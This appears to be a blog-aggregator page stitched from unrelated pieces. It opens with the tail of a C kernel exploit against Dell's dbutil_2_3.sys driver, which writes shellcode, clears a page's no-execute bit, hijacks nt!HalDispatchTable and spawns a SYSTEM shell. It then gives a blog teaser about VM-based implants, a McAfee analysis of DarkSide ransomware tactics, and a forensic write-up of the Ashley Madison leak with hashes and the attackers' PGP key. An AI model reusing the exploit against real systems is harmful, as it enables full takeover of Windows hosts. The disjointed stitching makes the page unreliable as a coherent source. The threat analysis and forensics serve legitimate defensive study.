        inBuf8[1] = two8;
        inBuf8[2] = three8;
        inBuf8[3] = four8;

        inBuf9[0] = one9;
        inBuf9[1] = two9;
        inBuf9[2] = three9;
        inBuf9[3] = four9;

        inBuf10[0] = one10;
        inBuf10[1] = two10;
        inBuf10[2] = three10;
        inBuf10[3] = four10;

        inBuf11[0] = one11;
        inBuf11[1] = two11;
        inBuf11[2] = three11;
        inBuf11[3] = four11;

        DWORD bytesReturned3 = 0;
        DWORD bytesReturned4 = 0;
        DWORD bytesReturned5 = 0;
        DWORD bytesReturned6 = 0;
        DWORD bytesReturned7 = 0;
        DWORD bytesReturned8 = 0;
        DWORD bytesReturned9 = 0;
        DWORD bytesReturned10 = 0;
        DWORD bytesReturned11 = 0;

        BOOL interact2 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf3,
          sizeof(inBuf3),
          &inBuf3,
          sizeof(inBuf3),
          &bytesReturned3,
          NULL
        );

        BOOL interact3 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf4,
          sizeof(inBuf4),
          &inBuf4,
          sizeof(inBuf4),
          &bytesReturned4,
          NULL
        );

        BOOL interact4 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf5,
          sizeof(inBuf5),
          &inBuf5,
          sizeof(inBuf5),
          &bytesReturned5,
          NULL
        );

        BOOL interact5 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf6,
          sizeof(inBuf6),
          &inBuf6,
          sizeof(inBuf6),
          &bytesReturned6,
          NULL
        );

        BOOL interact6 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf7,
          sizeof(inBuf7),
          &inBuf7,
          sizeof(inBuf7),
          &bytesReturned7,
          NULL
        );

        BOOL interact7 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf8,
          sizeof(inBuf8),
          &inBuf8,
          sizeof(inBuf8),
          &bytesReturned8,
          NULL
        );

        BOOL interact8 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf9,
          sizeof(inBuf9),
          &inBuf9,
          sizeof(inBuf9),
          &bytesReturned9,
          NULL
        );

        BOOL interact9 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf10,
          sizeof(inBuf10),
          &inBuf10,
          sizeof(inBuf10),
          &bytesReturned10,
          NULL
        );

        BOOL interact10 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf11,
          sizeof(inBuf11),
          &inBuf11,
          sizeof(inBuf11),
          &bytesReturned11,
          NULL
        );

        // A lot of error handling
        if (!interact2 || !interact3 || !interact4 || !interact5 || !interact6 || !interact7 || !interact8 || !interact9 || !interact10)
        {
          printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
          exit(-1);
        }
        else
        {
          printf("[+] Successfully wrote the shellcode to the .data section of dbutil_2_3.sys at address: 0x%llx\n", shellcodeLocation);

          // Clear the no-eXecute bit
          unsigned long long taintedPte = pteBits & 0x0FFFFFFFFFFFFFFF;

          printf("[+] Corrupted PTE bits for the shellcode page: %p\n", taintedPte);

          // Clear the no-eXecute bit in the actual PTE
          // Buffer to send to the driver (write primitive)
          unsigned long long inBuf13[4];

          // Values to send
          unsigned long long one13 = 0x4141414141414141;
          unsigned long long two13 = shellcodePte;
          unsigned long long three13 = 0x0000000000000000;
          unsigned long long four13 = taintedPte;

          // Assign the values
          inBuf13[0] = one13;
          inBuf13[1] = two13;
          inBuf13[2] = three13;
          inBuf13[3] = four13;


          // Interact with the driver
          DWORD bytesReturned13 = 0;

          BOOL interact12 = DeviceIoControl(
            driverHandle,
            IOCTL_WRITE_CODE,
            &inBuf13,
            sizeof(inBuf13),
            &inBuf13,
            sizeof(inBuf13),
            &bytesReturned13,
            NULL
          );

          // Error handling
          if (!interact12)
          {
            printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
          }
          else
          {
            printf("[+] Successfully corrupted the PTE of the shellcode page! The kernel mode page holding the shellcode should now be RWX!\n");

            // Offset to nt!HalDispatchTable+0x8
            unsigned long long halDispatch = baseofKernel + 0x427258;

            // Use arbitrary read primitive to preserve nt!HalDispatchTable+0x8
            // Buffer to send to the driver (write primitive)
            unsigned long long inBuf14[4];

            // Values to send
            unsigned long long one14 = 0x4141414141414141;
            unsigned long long two14 = halDispatch;
            unsigned long long three14 = 0x0000000000000000;
            unsigned long long four14 = 0x0000000000000000;

            // Assign the values
            inBuf14[0] = one14;
            inBuf14[1] = two14;
            inBuf14[2] = three14;
            inBuf14[3] = four14;

            // Interact with the driver
            DWORD bytesReturned14 = 0;

            BOOL interact13 = DeviceIoControl(
              driverHandle,
              IOCTL_READ_CODE,
              &inBuf14,
              sizeof(inBuf14),
              &inBuf14,
              sizeof(inBuf14),
              &bytesReturned14,
              NULL
            );

            // Error handling
            if (!interact13)
            {
              printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
            }
            else
            {
              // Last member of read array should contain preserved nt!HalDispatchTable+0x8 value
              unsigned long long preservedHal = inBuf14[3];

              printf("[+] Preserved nt!HalDispatchTable+0x8 value: 0x%llx\n", preservedHal);

              // Leveraging arbitrary write primitive to overwrite nt!HalDispatchTable+0x8
              // Buffer to send to the driver (write primitive)
              unsigned long long inBuf15[4];

              // Values to send
              unsigned long long one15 = 0x4141414141414141;
              unsigned long long two15 = halDispatch;
              unsigned long long three15 = 0x0000000000000000;
              unsigned long long four15 = shellcodeLocation;

              // Assign the values
              inBuf15[0] = one15;
              inBuf15[1] = two15;
              inBuf15[2] = three15;
              inBuf15[3] = four15;

              // Interact with the driver
              DWORD bytesReturned15 = 0;

              BOOL interact14 = DeviceIoControl(
                driverHandle,
                IOCTL_WRITE_CODE,
                &inBuf15,
                sizeof(inBuf15),
                &inBuf15,
                sizeof(inBuf15),
                &bytesReturned15,
                NULL
              );

              // Error handling
              if (!interact14)
              {
                printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
              }
              else
              {
                printf("[+] Successfully overwrote the pointer at nt!HalDispatchTable+0x8!\n");

                // Locating nt!NtQueryIntervalProfile
                NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
                  GetModuleHandle(
                    TEXT("ntdll.dll")),
                  "NtQueryIntervalProfile"
                );

                // Error handling
                if (!NtQueryIntervalProfile)
                {
                  printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
                  exit(1);
                }
                else
                {
                  // Print update for found ntdll!NtQueryIntervalProfile
                  printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);

                  // Calling nt!NtQueryIntervalProfile
                  ULONG exploit = 0;

                  NtQueryIntervalProfile(
                    0x1234,
                    &exploit
                  );

                  // Restoring nt!HalDispatchTable+0x8
                  // Buffer to send to the driver (write primitive)
                  unsigned long long inBuf16[4];

                  // Values to send
                  unsigned long long one16 = 0x4141414141414141;
                  unsigned long long two16 = halDispatch;
                  unsigned long long three16 = 0x0000000000000000;
                  unsigned long long four16 = preservedHal;

                  // Assign the values
                  inBuf16[0] = one16;
                  inBuf16[1] = two16;
                  inBuf16[2] = three16;
                  inBuf16[3] = four16;

                  // Interact with the driver
                  DWORD bytesReturned16 = 0;

                  BOOL interact15 = DeviceIoControl(
                    driverHandle,
                    IOCTL_WRITE_CODE,
                    &inBuf16,
                    sizeof(inBuf16),
                    &inBuf16,
                    sizeof(inBuf16),
                    &bytesReturned16,
                    NULL
                  );

                  // Error handling
                  if (!interact15)
                  {
                    printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
                  }
                  else
                  {
                    printf("[+] Successfully restored the pointer at nt!HalDispatchTable+0x8!\n");
                    printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");

                    // Spawning an NT AUTHORITY\SYSTEM shell
                    system("cmd.exe /c cmd.exe /K cd C:\\");
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

// Call exploitWork()
void main(void)
{
  exploitWork();
}

Bring Your Own VM - Mac Edition

28 December 2020 at 10:53
For a while I've wanted to explore the concept of leveraging a virtual machine on target during an engagement. The thought of having implant logic self-contained and running under a different OS to the base seems pretty interesting. But more so, I've been curious as to just how far traditional AV and EDR can go to detect malicious activity when running from a different virtual environment. While this is a nice idea, the issues with creating this type of malware are obvious, with increased comple...

DarkSide Ransomware Victims Sold Short

14 May 2021 at 10:32
How to check for viruses

Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:

DarkSide Ransomware:  What is it?

As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.

The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.

Coverage and Protection Advice

McAfee’s market leading EPP solution covers DarkSide ransomware with an array of early prevention and detection techniques.

Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Early Detection

MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.

Prevention

ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.

ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.

ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

For the latest mitigation guidance, please review:

https://kc.mcafee.com/corporate/index?page=content&id=KB93354&locale=en_US

Technical Analysis

The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.

As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.

  1. Using valid accounts, exploit vulnerabilities on servers or RDP for initial stage
  2. Next, establish a beachhead in the victim’s network by using tools like Cobalt-Strike (beacons), RealVNC, RDP ported over TOR, Putty, AnyDesk and TeamViewer. TeamViewer is what we also see back in the config of the ransomware sample:

The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.

As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.

On March 23rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:

In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.

  1. Once a strong foothold has been established, several tools are used by the actors to gain more privileges.

Tools observed:

  • Mimikatz
  • Dumping LSASS
  • IE/FireFox password dumper
  • Powertool64
  • Empire
  • Bypassing UAC
  1. Once enough privileges are gained, it is time to map out the network and identify the most critical systems like servers, storage, and other critical assets. A selection of the below tools was observed to have been used in several cases:
  • BloodHound
  • ADFind
  • ADRecon
  • IP scan tools
  • Several Windows native tools
  • PowerShell scripts

Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.

While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:

DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?

Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.

In the code we clearly observe this support:

Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:

Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):

Conclusion

Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.

MITRE ATT&CK Techniques Leveraged by DarkSide:

Data Encrypted for Impact – T1486

Inhibit System Recovery – T1490

Valid Accounts – T1078

PowerShell – T1059.001

Service Execution – T1569.002

Account Manipulation – T1098

Dynamic-link Library Injection – T1055.001

Account Discovery – T1087

Bypass User Access Control – T1548.002

File Permissions Modification – T1222

System Information Discovery – T1082

Process Discovery – T1057

Screen Capture – T1113

Compile After Delivery – T1027.004

Credentials in Registry – T1552.002

Obfuscated Files or Information – T1027

Shared Modules – T1129

Windows Management Instrumentation – T1047

Exploit Public-Facing Application – T1190

Phishing – T1566

External Remote Services – T1133

Multi-hop Proxy – T1090.003

Exploitation for Privilege Escalation – T1068

Application Layer Protocol – T1071

Bypass User Account Control – T1548.002

Commonly Used Port – T1043

Compile After Delivery – T1500

Credentials from Password Stores – T1555

Credentials from Web Browsers – T1555.003

Credentials in Registry – T1214

Deobfuscate/Decode Files or Information – T1140

Disable or Modify Tools – T1562.001

Domain Account – T1087.002

Domain Groups – T1069.002

Domain Trust Discovery – T1482

Exfiltration Over Alternative Protocol – T1048

Exfiltration to Cloud Storage – T1567.002

File and Directory Discovery – T1083

Gather Victim Network Information – T1590

Ingress Tool Transfer – T1105

Linux and Mac File and Directory Permissions Modification – T1222.002

Masquerading – T1036

Process Injection – T1055

Remote System Discovery – T1018

Scheduled Task/Job – T1053

Service Stop – T1489

System Network Configuration Discovery – T1016

System Services – T1569

Taint Shared Content – T1080

Unix Shell – T1059.004

The post DarkSide Ransomware Victims Sold Short appeared first on McAfee Blog.

A light-weight forensic analysis of the AshleyMadison Hack

19 August 2015 at 14:13

———–[Intro]

So Ashley Madison(AM) got hacked, it was first announced about a month ago and the attackers claimed they’d drop the full monty of user data if the AM website did not cease operations. The AM parent company Avid Life Media(ALM) did not cease business operations for the site and true to their word it seems the attackers have leaked everything they promised on August 18th 2015 including:

  • full database dumps of user data
  • emails
  • internal ALM documents
  • as well as a limited number of user passwords

Back in college I used to do forensics contests for the “Honey Net Project” and thought this might be a fun nostalgic trip to try and recreate my pseudo-forensics investigation style on the data within the AM leak.

Disclaimer: I will not be releasing any personal or confidential information
within this blog post that may be found in the AM leak. The purpose of
this blog post is to provide an honest holistic forensic analysis and minimal
statistical analysis of the data found within the leak. Consider this a
journalistic exploration more than anything.

Also note, that the credit card files were deleted and not reviewed as part of this write-up

———–[Grabbing the Leak]

First we go find where on the big bad dark web the release site is located. Thankfully knowing a shady guy named Boris pays off for me, and we find a torrent file for the release of the August 18th Ashley Madison user data dump. The torrent file we found has the following SHA1 hash.
e01614221256a6fec095387cddc559bffa832a19  impact-team-ashley-release.torrent

After extracting all the files we have the following sizes and
file hashes for evidence audit purposes:

$  du -sh *
4.0K    74ABAA38.txt
9.5G    am_am.dump
2.6G    am_am.dump.gz
4.0K    am_am.dump.gz.asc
13G     aminno_member.dump
3.1G    aminno_member.dump.gz
4.0K    aminno_member.dump.gz.asc
1.7G    aminno_member_email.dump
439M    aminno_member_email.dump.gz
4.0K    aminno_member_email.dump.gz.asc
111M    ashleymadisondump/
37M     ashleymadisondump.7z
4.0K    ashleymadisondump.7z.asc
278M    CreditCardTransactions.7z
4.0K    CreditCardTransactions.7z.asc
2.3G    member_details.dump
704M    member_details.dump.gz
4.0K    member_details.dump.gz.asc
4.2G    member_login.dump
2.7G    member_login.dump.gz
4.0K    member_login.dump.gz.asc
4.0K    README
4.0K    README.asc

$ sha1sum *
a884c4fcd61e23aecb80e1572254933dc85e2b4a  74ABAA38.txt
e4ff3785dbd699910a512612d6e065b15b75e012  am_am.dump
e0020186232dad71fcf92c17d0f11f6354b4634b  am_am.dump.gz
b7363cca17b05a2a6e9d8eb60de18bc98834b14e  am_am.dump.gz.asc
d412c3ed613fbeeeee0ab021b5e0dd6be1a79968  aminno_member.dump
bc60db3a78c6b82a5045b797e6cd428f367a18eb  aminno_member.dump.gz
8a1c328142f939b7f91042419c65462ea9b2867c  aminno_member.dump.gz.asc
2dcb0a5c2a96e4f3fff5a0a3abae19012d725a7e  aminno_member_email.dump
ab5523be210084c08469d5fa8f9519bc3e337391  aminno_member_email.dump.gz
f6144f1343de8cc51dbf20921e2084f50c3b9c86  aminno_member_email.dump.gz.asc
sha1sum: ashleymadisondump: Is a directory
26786cb1595211ad3be3952aa9d98fbe4c5125f9  ashleymadisondump.7z
eb2b6f9b791bd097ea5a3dca3414a3b323b8ad37  ashleymadisondump.7z.asc
0ad9c78b9b76edb84fe4f7b37963b1d956481068  CreditCardTransactions.7z
cb87d9fb55037e0b1bccfe50c2b74cf2bb95cd6c  CreditCardTransactions.7z.asc
11e646d9ff5d40cc8e770a052b36adb18b30fd52  member_details.dump
b4849cec980fe2d0784f8d4409fa64b91abd70ef  member_details.dump.gz
3660f82f322c9c9e76927284e6843cbfd8ab8b4f  member_details.dump.gz.asc
436d81a555e5e028b83dcf663a037830a7007811  member_login.dump
89fbc9c44837ba3874e33ccdcf3d6976f90b5618  member_login.dump.gz
e24004601486afe7e19763183934954b1fc469ef  member_login.dump.gz.asc
4d80d9b671d95699edc864ffeb1b50230e1ec7b0  README
a9793d2b405f31cc5f32562608423fffadc62e7a  README.asc

———–[Attacker Identity & Attribution]

The attackers make it clear they have no desire to bridge their dark web identities with their real-life identities and have taken many measures to ensure this does not occur.

The torrent file and messaging were released via the anonymous Tor network through an Onion web server which serves only HTML/TXT content. If the attacker took proper OPSEC precautions while setting up the server, law enforcement and AM may never find them. That being said hackers have been known to get sloppy and slip up their OPSEC. The two most famous cases of this were when Sabu of Anonymous and separately the Dread Pirate Roberts of SilkRoad; were both caught even though they primarily used Tor for their internet activities.

Within the dump we see that the files are signed with PGP. Signing a file in this manner is a way of saying “I did this” even though we don’t know the real-life identity of the person/group claiming to do this is (there is a bunch of crypto and math that makes this possible.) As a result we can be more confident that if there are files which are signed by this PGP key, then it was released by the same person/group.

In my opinion, this is done for two reasons. First the leaker wants to claim responsibility in an identity attributable manner, but not reveal their real-life identity. Secondly, the leaker wishes to dispel statements regarding “false leaks” made by the Ashley Madison team. The AM executive and PR teams have been in crises communications mode explaining that there have been many fake leaks.

The “Impact Team” is using the following public PGP key to sign their releases.

$ cat ./74ABAA38.txt

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: GnuPG v1.4.12 (GNU/Linux)




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
uZnr
=v0qe
-----END PGP PUBLIC KEY BLOCK-----

The key has the following Meta-data below.

Old: Public Key Packet(tag 6)(525 bytes)
        Ver 4 - new
        Public key creation time - Mon Jul 27 22:15:10 EDT 2015
        Pub alg - RSA Encrypt or Sign(pub 1)
        RSA n(4096 bits) - ...
        RSA e(17 bits) - ...
Old: User ID Packet(tag 13)(36 bytes)
        User ID - Impact Team <[email protected]>
Old: Signature Packet(tag 2)(568 bytes)
        Ver 4 - new
        Sig type - Positive certification of a User ID and Public Key packet(0x13).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Mon Jul 27 22:15:10 EDT 2015
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to certify other keys
                Flag - This key may be used to sign data
        Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
                Sym alg - AES with 256-bit key(sym 9)
                Sym alg - AES with 192-bit key(sym 8)
                Sym alg - AES with 128-bit key(sym 7)
                Sym alg - CAST5(sym 3)
                Sym alg - Triple-DES(sym 2)
        Hashed Sub: preferred hash algorithms(sub 21)(5 bytes)
                Hash alg - SHA256(hash 8)
                Hash alg - SHA1(hash 2)
                Hash alg - SHA384(hash 9)
                Hash alg - SHA512(hash 10)
                Hash alg - SHA224(hash 11)
        Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
                Comp alg - ZLIB <RFC1950>(comp 2)
                Comp alg - BZip2(comp 3)
                Comp alg - ZIP <RFC1951>(comp 1)
        Hashed Sub: features(sub 30)(1 bytes)
                Flag - Modification detection (packets 18 and 19)
        Hashed Sub: key server preferences(sub 23)(1 bytes)
                Flag - No-modify
        Sub: issuer key ID(sub 16)(8 bytes)
                Key ID - 0x24373CD574ABAA38
        Hash left 2 bytes - e3 95
        RSA m^d mod n(4096 bits) - ...
                -> PKCS-1
Old: Public Subkey Packet(tag 14)(525 bytes)
        Ver 4 - new
        Public key creation time - Mon Jul 27 22:15:10 EDT 2015
        Pub alg - RSA Encrypt or Sign(pub 1)
        RSA n(4096 bits) - ...
        RSA e(17 bits) - ...
Old: Signature Packet(tag 2)(543 bytes)
        Ver 4 - new
        Sig type - Subkey Binding Signature(0x18).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Mon Jul 27 22:15:10 EDT 2015
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to encrypt communications
                Flag - This key may be used to encrypt storage
        Sub: issuer key ID(sub 16)(8 bytes)
                Key ID - 0x24373CD574ABAA38
        Hash left 2 bytes - 0b 61
        RSA m^d mod n(4095 bits) - ...
                -> PKCS-1

We can verify the released files are attributable to the PGP public key
in question using the following commands:

$ gpg --import ./74ABAA38.txt
$ gpg --verify ./member_details.dump.gz.asc ./member_details.dump.gz
gpg: Signature made Sat 15 Aug 2015 11:23:32 AM EDT using RSA key ID 74ABAA38
gpg: Good signature from "Impact Team <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 6E50 3F39 BA6A EAAD D81D  ECFF 2437 3CD5 74AB AA38

This also tells us at what date the dump was signed and packaged.

———–[Catching the attackers]

The PGP key’s meta-data shows a user ID for the mailtor dark web email service. The last known location of which was:
http://mailtoralnhyol5v.onion

Don’t bother emailing the email address found in the PGP key as it does not have a valid MX record. The fact that this exists at all seems to be one of those interesting artifact of what happens when Internet tools like GPG get used on the dark web.

If the AM attackers were to be caught; here (in no particular order) are the most likely ways this would happen:

  • The person(s) responsible tells somebody. Nobody keeps something like this a secret, if the attackers tell anybody, they’re likely going to get caught.
  • If the attackers review email from a web browser, they might get revealed via federal law enforcement or private investigation/IR teams hired by AM. The FBI is known to have these capabilities.
  • If the attackers slip up with their diligence in messaging only via TXT and HTML on the web server. Meta-data sinks ships kids — don’t forget.
  • If the attackers slip up with their diligence on configuring their server. One bad config of a web server leaks an internal IP, or worse!
  • The attackers slipped up during their persistent attack against AM and investigators hired by AM find evidence leading back to the attackers.
  • The attackers have not masked their writing or image creation style and leave some semantic finger print from which they can be profiled.

